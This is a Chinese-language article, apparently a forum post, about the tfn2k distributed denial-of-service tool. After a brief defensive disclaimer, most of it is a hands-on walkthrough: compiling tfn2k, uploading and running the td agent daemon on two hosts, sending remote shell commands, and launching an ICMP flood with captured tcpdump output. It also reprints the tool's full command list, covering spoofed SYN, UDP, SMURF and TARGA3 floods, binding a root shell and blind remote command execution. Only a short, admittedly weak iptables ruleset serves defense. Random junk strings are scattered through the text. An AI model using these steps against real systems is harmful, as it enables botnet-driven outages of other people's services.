分布式拒绝攻击(DDOS)软件tfn2k攻防

踏浪行歌

分布式拒绝攻击(DDOS)软件tfn2k攻防 0 J/ _5 C; \0 _/ x, g, y1 J首先，我写这篇文章的目的，并不是我想成为什么hacker之类，而且我不并不鼓励任何人利用它来做一些有损他人的事情，我只是想多一 , C# l, }! Z! s8 e. \9 Y" L

些人关注网络安全，共同研究并防御DOS。因为我是深受其害，所以，这篇文章仅用于技术参考，供大家研究DDOS防御之用。如果你利用它来

做一些不合法的事情，那结果与我无关。 拒绝服务攻击（DOS，DenialOfService)可以指任何使服务不能正常提供的操作。如软件bug,操作失误等。不过现在因为失误操作而造成

的dos，可能性非常小，更多的是恶意的攻击行为。现在拒绝服务攻击早已演变为分布式拒绝服务攻击(DDOS,DistributedDenialOf 9 B$ z( D7 B; t8 U& \- m- L+ f% j, n

Service),利用更多的代理集中攻击目标，其危害更大。 4 j8 B9 P# W; U6 `我们大家都知道tcp/ip协议现在已经成为整个internet框架协议，可以说，如果没有tcp/ip，至少internet不会像现在这样普及，甚至不 1 v$ C9 b7 F5 |( q w5 {; a. i. I

可能会有internet。但凡事皆有两面性，tcp/ip使我们大家受益，同时因为协议本身构造的问题，它也成为别人攻击我们的工具。我们以tcp三

握手建立连接的过程来说明。 ) X9 |! y- N. z1 Z- [( X一。tcpsynflood - |0 ^( t/ M; E$ ^5 _) t2 V4 ` 9 C0 O- i7 Z$ t L9 S' s8 [1 ]! K1.客户端(client)发送一个包含SYN(synchronize)的tcp包至服务器，此数据包内包含客户端端口及tcp序列号等基本信息。 5 b/ J- v$ a3 p# n$ N, _2 k2 K) c2.服务器(server)接收到SYN包之后，将发送一个SYN-ACK包来确认。 & {7 {. ~% A0 M \* j' v3.客户端在收到服务器的SYN-ACK包之后，将回送ACK至服务器，服务器如接收到此包，则TCP连接建立完成，双方可以进行通讯（感觉像

，一拜天地...二拜高堂...送入洞房...哈哈）

问题就出在第3步，如果服务器收不到客户端的ACK包，将会等待下去，这种状态叫做半连接状态。它会保持一定时间(具体时间不同操作系 9 t* M6 w: C* l* b

统不同),如果SYN请求超过了服务器能容纳的限度，缓冲区队列满，那么服务器就不再接收新的请求了,其他合法用户的连接都被拒绝掉。这种

攻击往往事半罪倍，杀伤力超强。 ) E! q# p/ f# \- B+ W1 k9 @8 J1 V当然，DOS攻击的方法多种多样，如:UDPflood,ICMP/Ping,ICMP/SMURF...,具体原理的介绍大家可以到<a " q6 K) y. y/ c

href=http://www.chinaitlab.com/www/special/ciwddos.asp>http://www.chinaitlab.com/www/special/ciwddos.asp</a>去看看，有很详细 0 Y7 Z R* K" z2 U/ X

的原理及常用攻击软件介绍。不过说到DOS攻击软件，最具代表的莫过于tfn2k(TribeFloodNetwork2000),其作者是德国大名鼎鼎的mixter( % L3 J8 H5 ?8 E, r

其主页http://mixter.void.ru/papers.html),好像最近正在埋头搞什么tfn3k，哎~~，不知道又有多少人寝食难安了... - w4 P! I# e9 N% R, R( O

二.tfn2k攻击原理 ) Y. [: c1 c. a, D" s* j- [8 W

1.tfn2k的攻击体系。

tfn2k应该算是DDOS攻击中的代表作，其所能实现的功能让人瞠目结舌，叹为观止...(对它的敬畏有如滔滔江水，延续不绝...)来看看它

的架构。 7 H/ v+ e7 { U, e$ W7 \3 f9 {5 n主控端---运行tfn客户端，来遥控并指定攻击目标，更改攻击方法.(罪大恶极) v3 m* ^# |# n2 e代理端---被植入并运行td进程的牺牲品，接受tfn的指挥，攻击的实施者.需要注意的是，一个攻击者，往往控制多台代理来完成攻击，而 R; ]; R/ G& P+ s/ P; N* F

且其系统多为unix,linux等.(可怜的牺牲品） 目标主机---被攻击的主机或网络，曾经被DDOS的有Yahoo、Amazon、CNN、e-bay等.(最大的受害者，郁闷如我) $ V. [" r2 K) F* ^9 M, C2.tfn2k特性。 8 ~% M, D: Z" c& m　◆主控端通过TCP、UDP、ICMP或随机性使用其中之一(默认.随机)的数据包向代理端主机发送命令,攻击方法包括TCP/SYN、UDP、

ICMP/PING、混合攻击、TARGA3等。 ◆主控端与代理端的通讯采取单向，即主控端只向代理端发送命令，并且会采取随机的头信息，甚至虚拟的源地址信息,代理端不会 # g2 r, S# |! P8 @- z+ q

逆向向主控端发送任何信息. - b8 }. O* K+ o◆所有命令经过CAST-256算法加命,其关键字即编译程序时的输入的口令.并且这个口令做为唯一认证凭证. ◆利用td进程，主控端可以远程执行shell命令. ◆td进程的名称可以在编译时更改,更便于隐藏. + A8 I" d! |+ R* h3 B- f1 G5 M◆tfn可以编译运行于win32及linux系统的. ... 至于伪造源IP地址等功能，更是基本功能，并且其与老版本的tfn相比，它的发包效率更高，我自已的测试，在短短不到5分钟，两台 ) G& I) f9 S, o7 H( i/ N! w/ Z4 s/ d

代理机，使我的redhatlinux9.0系统瘫痪. 5 C( a: ~5 S; C8 G

三.tfn2k实战测试 1.测试环境: 9 L) Q# c1 t5 ^# }7 [% m. y软件：redhatlinux9.0 - k" ^1 v# W3 [1 X; s硬件平台： master: 1 u/ g. |8 {0 |# l% ~3 ]IP:192.168.0.6 PIV2.4/256*2/rtl8139 9 {. z, f! W6 W/ eAg1: IP:192.168.0.2 & m6 ^. h l ], C, w; `' ?9 sPIV2.4/256*/rtl8139 9 D- X4 R0 l5 T& Q) X: J5 w* g# l7 Z7 TAG2:IP:192.168.0.3 pIV2.6/512*2/3c905 AIM:192.168.0.5 pIV2.66c/512*2/3c905 switch_linkdes1024R ) p1 h- s* ~$ N8 f) U8 B0 W

1.下载tfn2k.tgz(因为此软件非比寻常，所以我并不提供下载地址，如果有兴趣，自已到网上找吧) 2.解压：tarzxvftfn2k.tgz 3.修改文件 # k8 _- L; X# e% \7 d9 W ?A.src/Makefile如果你的系统是linux系统，不需要做任何修就可以，如果是win32系统，请将 #Linux/*BSD*/Others CC=gcc ; n8 O H7 Y, K6 w3 p! O7 n) PCFLAGS=-Wall-O3 CLIBS= 这几行注释掉,并将 1 n9 y) G5 ~0 Q9 C$ G7 m% Z#Win32(cygwin) . n# }& ^6 Z4 n0 \( g4 N#CC=gcc #CFLAGS=-Wall-DWINDOZE-O2 . c1 `$ q" E( N2 F#CLIBS= 这几行的注释去掉.因为我的测试系统为redhatlinux9.0所以并未做任何修改.

B.src/config.h，默认的就可以用，如果感兴趣，可以照其注释信息进行调整。 * F& m' M0 Z7 `) k$ ]2 O C.src/ip.h这里要做一些修改，否则编译会有错误，发生重复定义。 /*structin_addr + |. L1 o9 x Z* z# M% `{ unsignedlongints_addr; };*/ 注意啊~~我可是将它放在"/**/"之间，也就是注释掉了 D.更改编译器： 因为tfn2k支持的是egcs-1.1.2-30,而redhatlinux9.0所包含的是gcc-3.2.2-5,所以如果不替换掉gcc，tfn2k是编译不过去的.需 + P" I" H# r+ g. C

要注意的是，更改之后，有可能会造成基于gcc3.2.2的软件编译不去,请谨慎而行. 方法很简单的，找到一张redhatlinux6.2安装盘,将egcs-1.1.2-30.rpm、cpp-1.1.2-30.rpm拷到~/ cd/mnt/cdrom/Redhat/RPMS cpegcs-1.1.2-30*cpp-1.1.2-30*~/ 安装cpprpm-Uvh--nodeps--oldpackagecpp-1.1.2-30.i386.rpm 安装egcsrpm-Uvhegcs-1.1.2-30.i386.rpm(如果提示有误，用nodeps、oldpackages、ignoreos等参数忽略过去就是了） 4.编译tfn2k cdtfn2k/src 0 |$ a: b' {( J' l* L5 m5 _make 首先会谈出一个声明，你必须接受，之后会提示输入8-32位密码,前边提到过，这是唯一的认证凭证，会被分发于td进程中，所以一定

要记牢噢~。 3 J5 j, d: e j$ S2 x' s编译通过后，会产生td及tfn，这就是大名鼎鼎的tfn2k啦~,td是守护进程，用来安装在代理中的，而tfn就是控制端.

5.安装td. 将td上传到我的两台代理,ag1(192.168.0.2)和ag2(192.168.0.3)，因为我只不过测试，所以用的是合法的root来上传并执行td进程的

，如果真要找到并安装一个代理，你可能得费点儿神，因为没有一个管理员会说“comeonbaby~~.我给你root,来安装td做代理吧” " Q+ L) Q2 K) w: K: }[root@test/]ftp192.168.0.2 Connectedto192.168.0.2. 530PleaseloginwithUSERandPASS. + [9 p9 V+ q8 F0 a/ s4 o* V530PleaseloginwithUSERandPASS. Name(192.168.0.2:root):wjpfjy 331Pleasespecifythepassword. ) {# ]1 t3 [% X- Y- o2 s! ~Password: 3 _. X3 O: A) x& x# o9 l7 j230Loginsuccessful.Havefun. ( p: ]# {; p1 {) ^6 @' [+ u. \, gRemotesystemtypeisUNIX. Usingbinarymodetotransferfiles. ftp>puttd(上传td) local:tdremote:td ' y9 E. m! W; z) h( q, |227EnteringPassiveMode(192,168,0,3,198,225) 553Couldnotcreatefile. ! i& w( t, F- ?9 M% q# b! w* ]) nftp>by(退出ftp) 221Goodbye. [root@test/]ssh192.168.0.2登陆到ag1以执行td,注意，我用的是root帐户，这样才有足够的权限来执行它. ; d8 Q: u) c3 broot@192.168.0.2spassword: Lastlogin:TueFeb2406:51:132004 [root@ag1/]find/-nametd-print找到刚上传过来的文件td. [root@ag1wjpfjy/]chmoda+xtd使之具有执行权限. ; b+ J% V% u/ b, ~; @* d) d+ F' i( h[root@ag1wjpfjy/]./td运行td，这样你就拥有一个代理了，它会对你唯命是从的。 ! Y' Z, Q: G% I% Q9 l( Z& `4 B　　　 　　用同样的方法在ag2(192.168.0.3)上安装并运行TFN2k进程td. , R2 p% ^; l. z+ Y5 g ) C2 e2 w$ K% l4 t G* K. ^6.攻击开始(悲惨的回忆上演中...) 回到master(192.168.0.6)，准备演练... # U& W* a$ j) x4 x- ^* W3 G　　　[root@masterroot]#touchhost.txt建立代理记录文件(因为如果你足够无聊的话，有可能会建立很多的肉鸡－代理，不记下会忘 * t- p, L9 y: z0 ~% P( J* ~, Y

记的噢.) + {+ Q+ e% I7 O) b: v[root@masterroot]echo"192.168.0.2">host.txt将执行过td的ag1加入host.txt。 , a% m0 V; n: ~8 g, b d% s2 J9 u　　　[root@masterroot]echo"192.168.0.3">>host.txt添加ag2到host.txt. ; L/ J8 E5 D* v7 R9 v3 | A) _　　　先来测试一下链接。 　　　[root@masterroot]./tfn-fhost.txt-c10-i"mkdirwjpfjy"与host.txt中的代理通讯，让其执行命令mkdirwjpfjy即建立一个 ) \8 H% `- F7 x- `$ x

目录 　Protocol:random SourceIP:random Clientinput:list Command:executeremotecommand 5 u% Q+ P; a6 V7 N9 J1 c4 A

　　　Passwordverification:　　　　这里，会被提示输入密码，也就是编译时输入的密码,如果错了，将无法与td进程通讯 # S: [8 k( \$ M; ~

　　　Sendingoutpackets:..

到ag1和ag2看看有没有建立目录名wjpfjy，一般情况下,会存在于td的同一目录,如果不确定，可以用find/-namewjpfjy-print来查找 　　 　　　[root@masterroot]./tfn-fhost.txt-c6-i192.168.0.5　开始ICMP/PING攻击aim...(可怜我的P4啊，不到5分钟,就跟386一样慢

)，不过它在gameover前，还是很艰辛的记录下了攻击数据,也算是对得住的那NK大洋啦.这是tcpdump的抓包记录. , ?7 F- ]* }( Q$ n( I) s[root@aimroot]#tcpdump-rpack.atta-c4-xX 08:03:36.52490723.43.171.0>192.168.0.5icmp:echorequest[ttl0] 0x00004500005c659d00000001d22e172bab00E..\e........+.. 0x0010c0a800020800f7ff0000000000000000................ 0x002000000000000000000000000000000000................ + _- e' Q8 k- Q$ G0x003000000000000000000000000000000000................ # S+ f/ s* y: q q) C6 m c0x004000000000000000000000000000000000................ 0x00500000.. 08:03:36.524933192.168.0.5>23.43.171.0:icmp:echoreply 0x00004500005ca5d50000400151f6c0a80002E..\....@.Q..... ) e# o/ |" N- b: B% B* W; c0x0010172bab000000ffff0000000000000000.+.............. ?0 N2 z5 J* k1 j0x002000000000000000000000000000000000................ 0x003000000000000000000000000000000000................ 0x004000000000000000000000000000000000................ 0x00500000.. 08:03:36.52494436.235.130.0>192.168.0.5:icmp:echorequest[ttl0] + G7 `9 S% V% a, Z8 ?$ v5 Q# I* C0x00004500005c659d00000001ed6e24eb8200E..\e......n$... 0x0010c0a800020800f7ff0000000000000000................ 0x002000000000000000000000000000000000................ 0x003000000000000000000000000000000000................ ) \1 ^# U9 ?# O8 b. X' D0x004000000000000000000000000000000000................ " Y, ?& ?1 O( L2 f8 I0x00500000.. 08:03:36.524984192.168.0.5>36.235.130.0:icmp:echoreply 0x00004500005c551c00004001bdefc0a80002E..\U...@....... / d; }3 l2 @# F# U! ]0x001024eb82000000ffff0000000000000000$............... 0x002000000000000000000000000000000000................ 0x003000000000000000000000000000000000................ 0x004000000000000000000000000000000000................ ! t% F4 ^* H# `: h& s: k# t: S9 f　 4 m2 g# c- {6 s　[root@masterroot]./tfn-fhost.txt-c0停止攻击 6 G, v6 ?+ X3 G4 \6 v

Protocol:random SourceIP:random Clientinput:list ( ?$ _0 ?* Q/ l1 W/ y" {8 v& yCommand:stopflooding

Passwordverification:

Sendingoutpackets:...

当然还有别的攻击方法，你只要用-cX就可以更改攻击方法. " g4 `% F, ]. U4 M

[root@masterroot]./tfn usage:./tfn<options> - S/ e( R9 J, J1 E0 I& D: x[-Pprotocol]Protocolforservercommunication.CanbeICMP,UDPorTCP. 2 ~% ^1 m$ T3 Z l/ C& zUsesarandomprotocolasdefault [-Dn]Sendoutnbogusrequestsforeachrealonetodecoytargets [-Shost/ip]SpecifyyoursourceIP.Randomlyspoofedbydefault,youneed 3 \$ b5 d; }$ d+ ^8 VtouseyourrealIPifyouarebehindspoof-filteringrouters 5 ]; w7 \ I8 D6 z& T1 w8 o[-fhostlist]FilenamecontainingalistofhostswithTFNserverstocontact & O+ X# N8 @; E[-hhostname]TocontactonlyasinglehostrunningaTFNserver [-itargetstring]Containsoptions/targetsseparatedby@,seebelow [-pport]ATCPdestinationportcanbespecifiedforSYNfloods <-ccommandID>0-Haltallcurrentfloodsonserver(s)immediately 1-ChangeIPantispoof-level(evaderfc2267filtering) q% {. D5 T4 L% d0 f1 O7 zusage:-i0(fullyspoofed)to-i3(/24hostbytesspoofed) 2-ChangePacketsize,usage:-i<packetsizeinbytes> 3-Bindrootshelltoaport,usage:-i<remoteport> 4-UDPflood,usage:-ivictim@victim2@victim3@... 5-TCP/SYNflood,usage:-ivictim@...[-pdestinationport] 6 P2 U& T- r3 ]; S4 v1 T8 I/ o6-ICMP/PINGflood,usage:-ivictim@... 4 |) _, \6 c7 _5 E4 Y& |9 T' N; W) H7-ICMP/SMURFflood,usage:-ivictim@broadcast@broadcast2@... % P) ? d7 Y, e, _ Q3 Y8-MIXflood(UDP/TCP/ICMPinterchanged),usage:-ivictim@... 9-TARGA3flood(IPstackpenetration),usage:-ivictim@... 10-Blindlyexecuteremoteshellcommand,usage-icommand ! A1 h/ \, t/ Z# H3 D* {, B( T3 k1 a0 x! x

. x t, Q+ f; A: c2 D四.防守办法 就如同网上所有介绍DDOS的文章一样，DDOS防不胜防，我试着用防火墙过滤掉所有icmp包，来保护我的主机，但所实现的，只是我的主机晚 # }1 [! i0 |5 F& n' H( l

点儿崩溃而已.哎～，别指望我来防DDOS,要能防，我也不用不睡觉啊 # i [, z8 a" x& T　　还是那句老话，我们能做的，就是尽量让我们的主机不成为别人攻击的代理，并对intranet内出行的包进行严格限制，尽量不去危害别人 1 `2 a: |' q" @# f% F0 F b# G

，只要大家都这样做，我们的网络环境才可以安全一些，至少，我可以安心睡几天觉. % o& S2 J# K2 ]' N2 J4 s! X0 u; O 附上我防火墙的一部分.主要是针对ICMP/PING的，不过用处不太大 / ~. {7 R8 E. V$ A( B: c* M+ C. d

/sbin/iptables-PINPUTDROP 0 V K! z- X, {+ C7 ?% t9 V/sbin/iptables-AINPUT-ilo-pall-jACCEPT * h, T' C9 i* K3 e/sbin/iptables-AINPUT-ieth1-picmp-jACCEPT /sbin/iptables-AINPUT-picmp--icmp-type8-jDROP /sbin/iptables-AINPUT-s127.0.0.2-ilo-jACCEPT /sbin/iptables-AINPUT-s127.0.0.2-ieth0-jDROP /sbin/iptables-AINPUT-s$LAN_NET/24-ieth0-jDROP 3 ~, v6 W0 _ \* C% J6 @, ?) g/sbin/iptables-AINPUT-s172.16.0.0/12-ieth0-jDROP /sbin/iptables-AINPUT-s10.0.0.0/8-ieth0-jDROP /sbin/iptables-AINPUT-ieth0-mlimit--limit1/sec--limit-burst5-jACCEPT/sbin/iptables-AINPUT-ieth0-pudp-m : ?! A3 B& ]0 R. g6 e

state--stateNEW-jREJECT 4 I/ G+ ^9 \: i5 m; }, i/sbin/iptables-AINPUT-ptcp--dport22-jACCEPT /sbin/iptables-AINPUT-ptcp--dport80-jACCEPT /sbin/iptables-AINPUT-ptcp-ieth1--dport53-jACCEPT /sbin/iptables-AINPUT-pudp-ieth1--dport53-jACCEPT 0 b: d5 W; `% a0 f& j" \) @# v/sbin/iptables-AINPUT-ptcp-ieth0-mstate--stateESTABLISHED,RELATED-mtcp--dport1024:-jACCEPT /sbin/iptables-AINPUT-pudp-ieth0-mstate--stateESTABLISHED,RELATED-mudp--dport1024:-jACCEPT /sbin/iptables-AINPUT-picmp--icmp-typeecho-request-jLOG--log-level2 /sbin/iptables-AINPUT-ieth0-picmp--icmp-typeecho-request-jDROP k* g k; ` ~; c+ u3 [/sbin/iptables-AINPUT-ptcp-mmultiport--destination-port135,137,138,139-jLOG ) l e2 O% N+ q; H% a& F7 @7 T/sbin/iptables-AINPUT-pudp-mmultiport--destination-port135,137,138,139 # X) h8 N2 n9 I0 s! c7 c( ~9 q-jLOG . T: c* j' c, @4 J8 M, f/sbin/iptables-AINPUT-ieth0-ptcp--dport2000-jACCEPT /sbin/iptables-AINPUT-ieth0-ptcp--dport2001-jACCEPT 3 |! }* `! e+ \$ `; m; b" \/sbin/iptables-AINPUT-ptcp-ieth1-mstate--stateESTABLISHED,RELATED-mtcp--dport1024:-jACCEPT 5 y+ U6 }1 K6 U" _% A4 C

　以上只是我个人的一些摸索经验，不足或错误之处，还望指证。如果您可以防止DDOS，也请告诉我 因为本文内容的特殊性，转载请通知我，谢谢合作QQ:928395 * s, u+ b7 N [1 {2 b+ m! g

[em09]